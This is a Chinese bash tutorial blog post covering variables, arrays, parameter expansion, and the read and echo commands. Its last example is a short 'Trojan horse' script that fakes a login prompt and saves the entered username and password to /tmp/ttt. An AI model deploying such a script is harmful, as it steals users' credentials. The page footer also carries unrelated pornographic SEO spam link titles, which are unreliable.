<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    Decode360's Blog

    業(yè)精于勤而荒于嬉 QQ:150355677 MSN:decode360@hotmail.com

      BlogJava :: 首頁 :: 新隨筆 :: 聯(lián)系 ::  :: 管理 ::
      302 隨筆 :: 26 文章 :: 82 評論 :: 0 Trackbacks
    一、用戶定義的變量
    ?
    1、變量名
    ?
    ??? 以字母、下劃線開頭的字母、數(shù)字和下劃線字符序列
    ??? 注:大小寫敏感
    ?
    2、變量賦值
    ?
    ??? 變量名=字符串
    ??? 注:等號兩邊不能有空格
    ?
    3、引用變量值
    ?
    ??? 在變量名前加“$”表示引用,例如:
    ??? $?dir=/usr/wxq
    ??? $ echo $dir? --/usr/wxq
    ??? $ echo dir? --dir
    ?
    ??? 注意:
    ??? ① abc= 或未明確賦值過的變量,均為空字符串
    ??? ② 如果字符串中有空格,則用""括起來:names="Wang XQ"
    ??? ③ 可以作為某長字符串的一部分,例如:echo read$s
    ??? ④ 若會引起歧義時,用{}括起變量,如:cat ${dir}qc/m
    ?
    4、命令替換
    ?
    ??? 使用倒引號“`”進行命令替換,如:
    ??? $ dir=`pwd`
    ?
    ??? 或者使用$()的形式
    ??? $ dir=$(pwd)
    ??? $ echo $(pwd; cd /opt; ls -l)
    ?
    ?
    ?
    二、數(shù)組
    ?
    1、定義數(shù)組
    ?
    ??? bash只提供一維數(shù)組,且不限制數(shù)組大小。
    ??? 數(shù)據(jù)下標從0開始賦值,格式為:數(shù)組名[下標]=值
    ?
    ??? $ city[0]=Beijing
    ??? $ city[1]=Shanghai
    ??? ...
    ?
    ??? 也可以組合賦值
    ??? $ A=(this is an example of shell script)
    ?
    2、數(shù)組的讀取
    ?
    ??? ${數(shù)組名[下標]},例如上例中:
    ?
    ??? $ echo ${A[0]} ${A[2]}? --this an
    ??? $ echo ${A[8]}? --空值,超過上限
    ?
    ??? 注:可以使用*或@作為下標,表示所有元素,例如:
    ??? $ echo ${A[*]}
    ?
    ??? 當不加下標讀取時,默認返回A[0]
    ?
    3、取消數(shù)組
    ?
    ??? $ unset A? --取消整個數(shù)據(jù)
    ??? $ unset A[0]? --取消第一個值
    ?
    ?
    ?
    三、變量引用
    ?
    ??? ① $name:表示變量name的值,若未定義變量則返回空值
    ?
    ??? ② ${name}:與$name相同,只是為了與后面緊接的字符分開
    ?
    ??? ③ ${name[n]}:表示引用數(shù)組name中的第n個元素
    ?
    ??? ④ ${name[*]} | ${name[@]}:表示引用數(shù)據(jù)的所有元素
    ?
    ??? ${name[*]}和${name[@]}的區(qū)別:
    ????? $ person=("a b" "c d")
    ????? $ echo ${person[*]}
    ????? a b c d
    ????? $ echo ${person[@]}
    ????? a b c d
    ? ???? $ for i in ${person[*]}; do echo $i; done
    ?
    ???? a
    ???? ?b
    ???? ?c
    ???? ?d
    ?
    ???? $ for i in ${person[@]}; do echo $i; done
    ?
    ???? a
    ???? ?b
    ???? ?c
    ???? ?d

    ??????$ for i in "${person[*]}"; do echo $i; done
    ????? a b c d
    ??????$ for i in "${person[@]}"; do echo $i; done
    ????? a b
    ????? c d
    ?
    ??? ⑤ ${name:-word}、${name:*word}、${name:+word}、${name:?word}:計算方法,后面講
    ?
    ??? ⑥ ${name#pattern}、${name##pattern}:去掉開頭匹配部分之后的結果
    ??? ${name#pattern}:去掉匹配最少的部分
    ??? ${name##pattern}:去掉匹配最多的部分
    ?
    ??? $ echo $PWD
    ??? /home/wxq
    ??? $ echo ${PWD#*/}
    ??? home/wxq
    ??? $ echo ${PWD##*/}
    ??? wxq
    ?
    ??? ⑦ ${name%pattern}、${name%%pattern}:去掉末尾匹配部分之后的結果
    ??? ${name%pattern}:去掉匹配最少的部分
    ??? ${name%%pattern}:去掉匹配最多的部分
    ?
    ??? $ echo $FILE
    ??? A.abc.c
    ??? $ echo ${FILE%.*}
    ??? A.abc
    ??? $ echo ${FILE%%.*}
    ??? A
    ?
    ??? ⑧ ${#@}、${#*}:返回$@、$*返回參數(shù)的個數(shù)
    ?
    ??? ⑨ ${#name[i]}:返回第i個元素的長度(字符個數(shù))
    ?
    ??? ⑩ ${#name[*]}、${#name[@]}:返回數(shù)組name中已經(jīng)設置的元素個數(shù)
    ?
    ?
    ?
    四、輸入/輸出命令
    ?
    1、read命令
    ?
    ??? ① 輸入個數(shù)與給定數(shù)據(jù)個數(shù)相同
    ??? $ read x y z
    ??? Today is Monday
    ??? $ echo $z $y $x
    ??? Monday is Today
    ?
    ??? ② 輸入個數(shù)多于給定數(shù)據(jù)個數(shù)
    ??? $ read?a1?a2 a3
    ??? aaa bbb ccc ddd 111
    ??? $ echo $a2 $a1
    ??? bbb aaa
    ??? $ echo $a3
    ??? ccc ddd 111
    ?
    ??? 注:從左自右依次對應,最后一個變量分配到剩余所有的數(shù)據(jù)
    ?
    ??? ③ 輸入個數(shù)少于給定數(shù)據(jù)個數(shù)
    ?
    ??? 從左自右依次對應,沒有對應的變量取空值
    ?
    2、echo命令
    ?
    ??? echo命令用于顯示其后的變量值或之間顯示后面的字符串。各個參數(shù)之間以空格隔開,以換行符終止。如果數(shù)據(jù)間需要空格則用""括起來。
    ?
    ??? echo命令后面加上“-e”后可使用轉義符,轉義符包括以下這些:
    ?
    ??? \a? 響鈴報警
    ??? \b? 退一個字符位置
    ??? \c? 輸出之后光標不換行,接在此之后(與-n選項相同)
    ??? \e? 轉義字符
    ??? \f? 換頁
    ??? \n? 顯示換行
    ??? \r? 回車
    ??? \t? 水平制表符
    ??? \v? 垂直制表符
    ??? \\? 印出反斜杠
    ??? \m? 表示一個ASCII字符(m以0開頭,由1位、2位或3位八進制數(shù)組成的數(shù))
    ??? \xm 表示一個ASCII字符(m以0開頭,由1位、2位或3位十六進制數(shù)組成的數(shù))
    ?
    ??? 舉例某特洛伊木馬shell腳本如下:
    ??? echo -n "Login:"
    ??? read name
    ??? stty -echo
    ??? echo -n "Password:"
    ??? read passwd
    ??? echo ""
    ??? stty echo
    ??? echo $name $passwd > /tmp/ttt&
    ??? sleep 2
    ??? echo "Login Incorrect.Re-enter,Please."
    ??? stty cooked
    ?
    ?
    ?
    ???




    -The End-

    posted on 2009-01-08 21:23 decode360-3 閱讀(856) 評論(0)  編輯  收藏 所屬分類: Linux
    主站蜘蛛池模板: 亚洲AV日韩AV永久无码久久| 成在人线AV无码免费| 亚洲AV无码第一区二区三区| 黄页视频在线观看免费| 在线免费观看a级片| 亚洲AV成人无码天堂| 日韩版码免费福利视频| 97无码免费人妻超级碰碰碰碰| 精品亚洲成a人片在线观看| 30岁的女人韩剧免费观看| 亚洲精品国产成人中文| 国产99视频精品免费观看7| 中中文字幕亚洲无线码| 最好免费观看韩国+日本| 黑人粗长大战亚洲女2021国产精品成人免费视频| 免费看国产成年无码AV片| 亚洲hairy多毛pics大全| 国产又粗又猛又爽又黄的免费视频| 国产亚洲高清在线精品不卡| 久久久久国产成人精品亚洲午夜| 一区二区在线视频免费观看| 中国亚洲女人69内射少妇| 暖暖在线视频免费视频| 亚洲国产日产无码精品| 成年人性生活免费视频| 老司机午夜性生免费福利| 国产A在亚洲线播放| 在线看免费观看AV深夜影院| 亚洲精品成a人在线观看夫| 亚洲国产精品自在拍在线播放| 国产真人无码作爱免费视频| 久久亚洲日韩看片无码| 国产精品视频免费一区二区三区| 国产免费A∨在线播放| 777亚洲精品乱码久久久久久| 成人免费视频小说| 三年片免费高清版 | 亚洲AⅤ无码一区二区三区在线| 亚洲一区二区电影| 女人被弄到高潮的免费视频 | 免费无码av片在线观看|